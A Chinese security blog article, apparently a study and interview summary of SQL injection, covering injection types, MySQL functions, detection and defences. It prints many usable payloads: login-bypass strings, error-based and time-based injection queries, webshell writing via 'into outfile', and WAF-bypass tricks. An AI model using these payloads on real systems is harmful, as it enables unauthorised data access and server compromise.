freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

sql注入总结
Tiancat 2021-09-17 20:04:13 263808

sql注入总结


image-20210810155340657


image-20210810155256826

补充一、面试常考点

1、常见数据库对应的端口

关系型数据库(sql):

mysql(3306)、oracle(1521)、sql server (1433)、DB2(5000)、postgreSQL(5432)

NOSQL数据库: MongoDB(27017)、Redis(6379)

2、为什么有的时候没有错误回显

没有进行错误打印或者错误屏蔽

3、mysql的网站注入,5.0以上和5.0以下有什么区别?

5.0以下没有informationschema这个系统表,无法列出表名列名,只能暴力跑表名。 5.0以下是多用户单操作,5.0以上是多用户多操做。

4、mysql写shell有几种方法

outfile、dumpfile、开启log写webshell

5、mysql的用户名密码是存放在那张表里面?

mysql -> users

6、mysql密码采用哪种加密方式?

SHA1 安全散列算法1

7、请写出Mysql5数据库中查询库’helloworld’中’users’表所有列名的语句

select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and table_schema = 'your_db_name';

8、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

9、盲注和延时注入的共同点?

都是一个字符一个字符的判断

10、盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

11、报错注入的函数有哪些

extractvalue() 、updatexml() 、 floor报错

12、mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?sql注入写文件都有哪些函数?

root权限以及网站的绝对路径。

select '一句话' into outfile '路径'; select '一句话' into dumpfile '路径'; select '' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';


13、sql注入有以下两个测试选项,

选一个并且阐述不选另一个的理由:

A. demo.jsp?id=2+1 B. demo.jsp?id=2-1 选B,在 URL 编码中 + 代表空格,可能会造成混淆


14、宽字符注入的原理?

在mysql中使用了gbk编码,占用2个字节,而mysql的一种特性,GBK是多字节编码,它认为两个字节就代表一个汉字,所以%df时候会和转义符\ %5c进行结合,所以单引号就逃逸了出来,当第一个字节的ascii码大于128,就可以了

15、宽字节注入产生原理、根本原因、解决办法

产生原理

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。

根本原因

character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。

解决办法

统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。 或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

16、sql里面只有update怎么利用

先理解这句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就实现了注入

1:修改 homepage 值为http://xxx.net', userlevel='3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 为用户级别

2:修改 password 值为mypass)' WHERE username='admin'#

之后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3:修改 id 值为' OR username='admin' 之后 SQL 语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

17、SQL如何写shell/单引被过滤怎么办

写shell: root权限,GPC关闭,知道文件路径 outfile函数

http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'
http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'

宽字节注入

18、代替空格的方法

%0a、%0b、%a0 等 /**/ 等注释符 <>


19、注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

20、SQL注入防护方法?

略(后面有)

挖坑:为什么参数化查询可以防止sql注入

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

21、sqlmap怎么对一个注入点注入?

注入方式 1) 如果是get型,直接sqlmap -u “注入点网址” 2) 如果是post型,可以sqlmap -u "注入点网址” --data="post的参数" 3)如果是cookie型,用burpsuite抓包,注入处用*号替换,放到某文件里,然后sqlmap -r "文件地址"

22、Mysql一个@和两个@什么区别

一个@是用户自定义变量 两个@是系统变量,如@@version、@@user

23、如果存在SQL注入怎么判断不同的数据库?

根据报错信息判断 根据执行函数返回的结果判断,如len()和lenth(),version()和@@version等 根据注释符判断



补充二、常见的网站架构

image-20210828225706589


一、sql注入简介&原理&产生条件

1、什么是sql注入

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。

2、sql注入原理

原理:恶意拼接査询、利用注释执行非法命令、传入非法参数、添加额外条件

由于程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在web应用程序中事先定义好的sql语句中添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来欺骗数据库服务器执行非授权的任意查询,从而进一步获取数据信息

3、产生条件:

1、用户对sql查询语句参数可控

2、原本程序要执行的SQL语句,拼接了用户输入的恶意数据


三、SQL注入的危害

(1)数据库信息泄露。攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)网页篡改。通过操作数据库对特定网页进行篡改。

(3)数据库被恶意操作。数据库服务器被攻击,数据库的系统管理员帐户被窜改。可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号

(4)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。

(5)网站被挂马,传播恶意软件。修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

(6)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

四、SQL注入的漏洞检测&判断

漏洞检测方法

SQL注入漏洞的检测分为手动检测和自动检测

1、手动检测是对某个特定区间的URL进行手工注入测试;针对搜索框、登录框。

常用的注入判断,判断sql语句闭合方式

'
')
'))
"
")
"))

2、自动检测是利用爬虫爬取网站的所有链接,对所有的链接自动进行注入测试。在大型应用中,手动检测的工作量是巨大的,一般采用自动检测的方式。

判断

以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg== DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试


五、SQL注入的防御手段

防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:

(1) 基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。

(2) 对用户输入进行转义(或者使用安全函数),对敏感字符进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。

(3)数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。

(4)严格限制网站访问数据库的权限。只给网站访问数据库的web应用最小权限

(5)采用预编译功能防止SQL注入。例如:MyBatis启用了预编译功能,在SQL执行前,会先将SELECT id,title,author,content FROM blog WHERE id = ?发送给数据库进行编译;执行时,直接使用编译好的SQL,替换占位符“?”就可以了。因为SQL注入只能对编译过程起作用,所以这样的方式就很好地避免了SQL注入的问题。

(6)避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;

(7)开启错误次数的锁定机制,拒绝风险ip,拒绝短时间大量访问,防止脚本进行注入测试;

(8)每个数据层编码统一,防止过滤模型被绕过等;

(9)从数据库里调用的时候要经过过滤,这就不会造成了二次注入

(10)重要信息加密存储。例如,password进行md5加密存储

(11)使用安全防护产品

六、sql注入分类(需要改进)

从注入参数类型分:数字型注入、字符型注入、搜索型注入 从注入方法分:基于报错、基于布尔盲注、基于时间盲注、DNSlog盲注、联合查询、堆叠注入、内联查询注入、宽字节注入 从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入 基于从服务器接收到的响应 :基于错误的 SQL 注入、联合查询的类型

https://www.freebuf.com/sectool/280777.htmldnslog盲注 裂开

1)、基于从服务器接收到的响应

▲基于错误的 SQL 注入

▲联合查询的类型

union 联合注入

union 的作用是将两个 sql 语句进行联合。强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。union all 与 union 的区别是增加了去重的功能。

▲堆查询注射


▲SQL 盲注

盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注

常用函数

1、length() -- 计算数据库长度

2、left(a,b) -- left()函数表示的是从字符表达式最左边一个字符开始返回指定数目的字符.若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串。一般用来猜测库的名字

3、substr() -- substr()和substring()函数实现的功能是一样的,均为截取字符串

substr(DATABASE(),1,1)>’a’,查看数据库名第一位

4、mid(striing,start,length) --string(必需)规定要返回其中一部分的字符串。-- start(必需)规定开始位置(起始值是 1)。 -- length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本

5、ascii() -- 返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0到255

6、updatexml(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据

image-20210810162926752

0x7c是分隔符号 |

0x7e 是波浪符 ~

7、extractvalue()

extractvalue(XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串).

image-20210810163106901

8、exp()

exp是以e为底的指数函数

由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错

image-20210810163421316

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

image-20210810163525885

构造playload (这里我没成功,不知原因)

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

9、floor()

floor()函数是 MYSQL 中用来取整的函数。

select 1 from (select count(*),concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a;

image-20210810170952244

报错原因是:报错是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次。这就是整个语句报错的关键

group by x先建立一个空表,用于分组.然后进行分组查询,第一次rand()执行,查询的结果是0,因为是空表所以插入这条,而插入的时候rand()又执行了一次,所以表中的结果就是

11、Sleep(x) -- 在x参数给定的秒数之后运行,在基于时间的盲注中常用

12、if(a,b,c) -- a为真执行b,为假执行c,基于时间的盲注中常用



•基于布尔 SQL 盲注

构造逻辑判段

•基于时间的 SQL 盲注

常用:

' and if(1=0,1, sleep(10))

•基于报错的 SQL 盲注

构造 payload 让信息通过错误提示回显出来

定义:SQL报错注入基于报错的信息获取,虽然数据库报错了,当我们已经获取到我们想要的数据。

条件:后台没有屏蔽数据库报错信息,在语法发生错误的时候会输出在前端。

常用四个报错函数: updatexml():是mysql对xml文档数据进行查询和修改的xpath函数 extractvalue():是mysql对xml文档数据进行查询的xpath函数 floor():mysql中用来取整的函数 exp():此函数返回e(自然对数的底)指数X的幂值

2)、基于如何处理输入的 SQL 查询(数据类型)

•基于字符串 •数字或整数为基础的

3)、基于程度和顺序的注入(哪里发生了影响)

★一阶注射 ★二阶注射

一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;

二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间 接的对 WEB 产生危害,这样的就被称为是二阶注入

二次注入

原理:用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。

image-20210810172031274

二次注入比普通的注入更难发现,很难被工具扫描出来。

数据库还是对自己太过相信,认为数据库里的数据都是正常的,当从数据库里调用的时候没有经过过滤,这就造成了二次注入

堆注入

在SQL语句中,语句的结束都是以结尾,但是如果我们在后面再加上一条SQL语句,两条语句会一起执行。这也就是造成堆叠注入的原因了



4)、基于注入点的位置上的

▲通过用户输入的表单域的注射。

▲通过 cookie 注射。

1、cookie注入中URL中没有get参数,可以通过burp suite 抓包,查看cookie中是否含有id=1类的参数,若有,则存在cookie注入

2、通过在burp中的repeater模块修改cookie里的id=1,和一般的注入相同

3、sqlmap:sqlmap -u "http://text.cn/" --cookie "id=1" --level 2 –dbs //当把等级升为2或2以上时sqlmap会尝试注入cookie参数

▲通过服务器变量注射。 (基于头部信息的注射)


5)宽字节注入

什么是魔术引号

了解一个PHP的防御函数==》 magic_quotes_gpc(魔术引号开关)

magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会再前面加转义字符'',来做一定的过滤

单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

什么是GBK编码格式?

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms) 我们就以gbk字符编码为例,拉开帷幕。

GBK全称《汉字内码扩展规范》,gbk是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们可以通过输出来验证这句话。

例如:0xD50×5C 对应了汉字“誠 ”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“誠”。

宽字节SQL注入的原理

前面讲到了GBK编码格式。GBK是双字符编码,那么为什么他们会和渗透测试发送了“巧遇”呢?

宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入 。

例如说MySql的编码设置为了SET NAMES 'gbk'或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

宽字节SQL注入的根本原因:宽字节SQL注入就是PHP发送请求到MySql时使用了语句,SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤

为了绕过magic_quotes_gpc的\,于是乎我们开始导入宽字节的概念

我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c

SELECT * FROM users WHERE id='1'' LIMIT 0,1

这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功的让!

SELECT * FROM users WHERE id='1�'#' LIMIT 0,1

�\ 实际上就是那个運字




七、注入常用函数以及语句

1、系统函数

  1. version()——MySQL 版本

  2. user()——数据库用户名

  3. database()——数据库名

  4. @@datadir——数据库路径

  5. @@version_compile_os——操作系统版本

  6. @@basedir ——数据库安装路径

2、字符串连接函数

1、concat(str1,str2,...)——没有分隔符地连接字符串

2、concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

3、group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据(当成一个组即可) 说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了

3、需要牢记的几个语句

-- 查库:
select schema_name from information_schema.schemata
-- 查表:
select table_name from information_schema.tables where table_schema='security'
-- 查列:
select column_name from information_schema.columns where table_name='user'
-- 查字段:
select username, password from security.users

4、一般用于尝试的语句

Ps:--+可以用#替换,url 提交过程中 Url 编码后的#为%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--

基本的注入判断:
'
')
'))
""
")
"))

登录框密码处常用
' or''='
' or 1=1--
' or 'a'='a--
'or'='or'
" or 1=1--
or 1=1--
or 'a='a
" or "a"="a
') or ('a'='a
") or ("a"="a
) or (1=1
'or''='

5、扩展函数

SELECT SYSTEM_USER();-- 返回MySQL连接的当前用户名和主机名

-- Mysql在进行登陆时,会去匹配mysql库中的user表,并赋予相应的权限,但是怎么知道我们当时的登陆的用户名及相应的权限呢?在Mysql中,有两个函数,一个是user(),一个是current_user();
SELECT user() -- 用来显示当前登陆的用户名与它对应的host
select current_user()-- 用来显示当前登陆用户对应在user表中的哪一个
-- 所以假如我们想知道当前登陆的用户具有什么权限的话,第一步是找出当前登陆用户是用user表中的哪一个,用current_user(),第二步用show grants命令
show grants  -- 查看用户权限命令

select database(); -- 查看数据库
select version(); -- 查看数据库版本
select now();   -- 查看数据库当前时间

SELECT @@datadir;  -- mysql 安装路径
SELECT @@version_compile_os;  -- 判断操作系统版本


八、sql 注入需要注意的问题

1、逻辑运算

and 和 or执行优先级(and > or)

1、Select * from users where id=1 and 1=1;

这条语句为什么能够选择出 id=1的内容,and 1=1 到底起作用了没有?这里就要清楚 sql 语句执行顺序了。同时这个问题我们在使用万能密码的时候会用到。

Select * from admin where username=’admin’ and password=’admin’

我们可以用 ’or 1=1# 作为密码输入。原因是为什么?这里涉及到一个逻辑运算,当使用上述所谓的万能密码后,

构成的 sql 语句为: Select * from admin where username=’admin’ and password=’’or 1=1#’

解释:上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。原因是在where子句后,我们可以看到三个条件语句 username=’admin’ and password=’’or 1=1。三个条件用 and 和 or 进行连接。在 sql 中,我们 and 的运算优先级大于 or 的元算优先级。因此可以看到 第一个条件(用 a 表示)是真的,第二个条件(用b 表示)是假的,a and b = false,第一个条件和第二个条件执行 and 后是假,再与第三个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。因此上述的语句就是恒真了。

&的优先级大于=

2、&的优先级大于=

①Select * from users where id=1 and 1=1;

②Select * from users where id=1 && 1=1;

③Select * from users where id=1 & 1=1;

上述三者有什么区别?

①和②是一样的,表达的意思是 id=1 条件和 1=1 条件进行与运算。

③的意思是 id=1 条件与 1 进行&位操作,id=1 被当作 true,与 1 进行 & 运算 结果还是 1, 再进行=操作,1=1,还是 1(ps:&的优先级大于=) Ps:此处进行的位运算。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要的时候可以利用该方法进行注入结果。例如将某一字符转换为 ascii 码后,可以分别与 1,2,4,8,16,32.。。。进行与运算,可以得到每一位的值,拼接起来就是ascii 码值。再从 ascii 值反推回字符。(运用较少)

get与post请求注释符的区别

一般很容易在各种教程上看到 ‘ or and 1=1 # 或 ‘ or and 1=1 –+

但情况下该用什么。

#是sql语句中的注释符,+ 在http请求中表示空格,但get与post中,由于http请求的转义,请求到后端sql语句拼接的时候可能会不一样。

get请求的时候一般用:1′ and 1=1 –+ //这里最后的空格用+,在请求的时候不会被url encode,到后端sql语句中就会成为一个正常的空格,– 后面的语句就会被注释。

但是如果在post里最后用加号的话就会被urlencode成%2B,实际的空格被转义才被转义成+ 。

post请求的时候一般用:这时候,在post的情况下,最后一个空格,可以直接用空格,不用+来代替,因为post参数 空格会自动转成+;

而之所以不在get注入的时候使用“#”来注释,是因为,请求时,“#”不会被urlencode为“%23”,被识别为锚链接,无法传递至sql语句中。

2、SQL注入注释符(#、-- 、/**/)使用条件

SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索

以MySQL为例,首先我们知道mysql注释符有#、-- (后面有空格)、/**/三种,在SQL注入中经常用到,但是不一定都适用。

GET提交方式

使用--+时经过url编码变成-- (空格),浏览器地址栏可以看到,传输过程对单引号还有空格进行了url编码。

但是如果我们使用# 会发现执行命令提示语法错误,传输过程对单引号还有空格进行了url编码。原来是#号没了,为什么呢?因为url中的#号代表html页面中的锚点,数据传输过程并不会一起带到后端

url中#号作为锚点,不当做数据来传输

解决办法:直接在url中使用#号有问题,就可以把#号转换成url编码(%23)就可以执行了

同时得出传输过程结论:在前端注释符使用url编码,传输过程中把url编码带上,到后端就会进行一次url解码操作,#号注释符起作用。

POST提交方式

因为是POST提交的数据,所以不用进行url编码,是POST原文

因为注释符#、-- 都是把后面的语句全部注释掉了,而内联注释/**/则是注释指定部分,需要一前一后闭合,所以在传参那里几乎不做注释语句用,而是用于过滤空格等bypass,例如

?id=-1'/**/union/**/select/**/1,2,database()--+   //过滤空格,用/**/代替空格


3、报错注入三函数详解

extractvalue()

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

第一个参数:xml_document是 string格式,为xml文档对象的名称第二个参数:xpath_string是 xpath格式的字符串

第二个参数跟 extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同

第三个参数:new value是 string格式,替换査找到的负荷条件的数据作用:改变文档中符合条件的节点的值

extractvalue()和updatexml()共同点是都只显示32位

floor()报错


rand()和rand(0) 区别以及规律性

rand() 产生0和1之间的一个随机数。

rand() 若指定—个整数参数N,则它被作用种子值(也被叫为随机因子),(rand()会根据这个种子值随机生成) 用来产生重复序列,也就是rand(0)的值重复计算是固定的。

现在计算users表数据的次数,floor(rand(0)*2)的值。可以看到rand(0)的值确实是固定的。

image-20210828180121304

把0去掉就会发现没有任何规律了

image-20210828180439267


group by与 count(*)函数

group by 主要用来对数据进行分组(相同的分为一组),这里与count() 结合使用 ,对重复性数据进行了整合,然后计数。

count(*)是一个聚合函数,返回值的数目,它与 count() 的区别是它不排除NULL。 咱们通过select count(*) from users group by username;这个查询语句来了解下 group by的工作过程

image-20210828180730274

image-20210828180846914

group by在执行时,会依次取出查询表中的记录并创建一个临时表, group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将 count(*)值加1,如果不存在,则将该主键插入到临时表中,注意是插入!查询前创建的空临时表

理解:有主键就进行叠加,没主键就插入(所以全部为1 就是因为没有重复的主键usename)




综合理解

floor(rand(0)*2)产生 0 和 1 这两个数

img

floor报错注入是利用基本格式:

select count(*),concat(/*payload*/),floor(rand(0)*2)) as x from user group by x;

count(*)--字数 /*payload*/放入想要查询的sql语句 group by 按照x进行排序

floor 作用就是返回小于等于括号内该值的最大整数,也就是向下取整。floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整。floor(rand(0)*2):利用分组时生成的虛拟表出现主键冲突报出错误信息


当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!

可见,floor(rand(0)*2的作用就是产生预知的数字序列01101,然后再利用 rand()的特殊性和group by的虚拟表,最终引起了报错。

说明:payload可以替换为任意的查询语句 这个相对固定的语句格式,导致的数据库报错

1、' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2) as x from information_schema.tables group by x)a)-- qwe

2、'or(select 1 from(select count(*),concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a),'','')-- qwe

3、select count(*), concat(database(), floor(rand(0)*2)) as x from users group by x; #爆出当前库名
ERROR 1062 (23000):Duplicate entry 'security1 for key '_key




九、注入流程


image-20210810155121604

我们的数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的,最后获取数据

mysql命令行基本操作流程

show database;

use security;

show tables;

desc emails;  -- 查库表的结构

use information_schema; -- 我们想讨论下系统数据库

show tables;

desc tables;   -- 继续枚举这张表

select table_name from information_schema.tables where table_schema = "security";  --拿到表名

一般操作流程

Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。

# 猜数据库 

select schema_name from information_schema.schemata

# 猜某库的数据表

select table_name from information_schema.tables where table_schema=’xxxxx’

# 猜某表的所有列

Select column_name from information_schema.columns where table_name=’xxxxx’

# 获取某列的内容

Select *** from ****



十、SQL注入WAF绕过

参考:https://www.cnblogs.com/qingwuyou/p/10687462.html

1 、大小写绕过

此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。

2 、替换关键字(双写绕过)

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

3 、空格绕过

payload

注释符替代空格,括号绕过

select/**/*/**/from/**/yz;

select%0a*%0afrom%0ayz;     %0a 是回车

select(a)from(yz);   括号包裹

select(a)from(yz)where(a=1);

4、 内联注释

有些WAF的过滤关键词像/union\sselect/g,就比如上面说的,很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。

id=1/*!UnIoN*/SeLeCT
/*!select*//*!**//*!from*//*!yz*/;

5、 替换关键字

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

SELselectECT 1,2,3,4

6 、URL编码

有时后台界面会再次URL解码所以这时可以利用二次编码解决问题 后台语句

$insert=$link->query(urldecode($_GET['id']));   //URL解码

$row=$insert->fetch_row();

select * from yz

select * from %2579%257a

7 、十六进制绕过(引号绕过)

select a from yz where b=0x32;

select * from yz where b=char(0x32);

select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

select column_name from information_schema.tables where table_name="users"

select column_name from information_schema.tables where table_name=0x7573657273

8 、逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。

substr(),mid()

mid(user() from 1 for 1)

substr(user() from 1 for 1)

select substr(user()from -1) from yz ;

select ascii(substr(user() from 1 for 1)) < 150;

同时也可以利用替换函数

select left(database(),2)>'tf';

selete * from testtable limit 2,1;

selete * from testtable limit 2 offset 1;

9 、比较符(<,>)绕过

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

select strcmp(left(database(),1),0x32);#lpad('asd',2,0)

if(substr(id,1,1)in(0x41),1,3)

-- 新学习了一种骚骚的注入姿势in、between、order by
select * from yz where a in ('aaa');
select substr(a,1,1) in ('a') from yz ;

select * from yz where a between 'a' and 'b';
select * from yz where a between 0x89 and 0x90;

select * from yz union select 1,2,3 order by 1;
-- 也可以用like,根据排列顺序进行真值判断

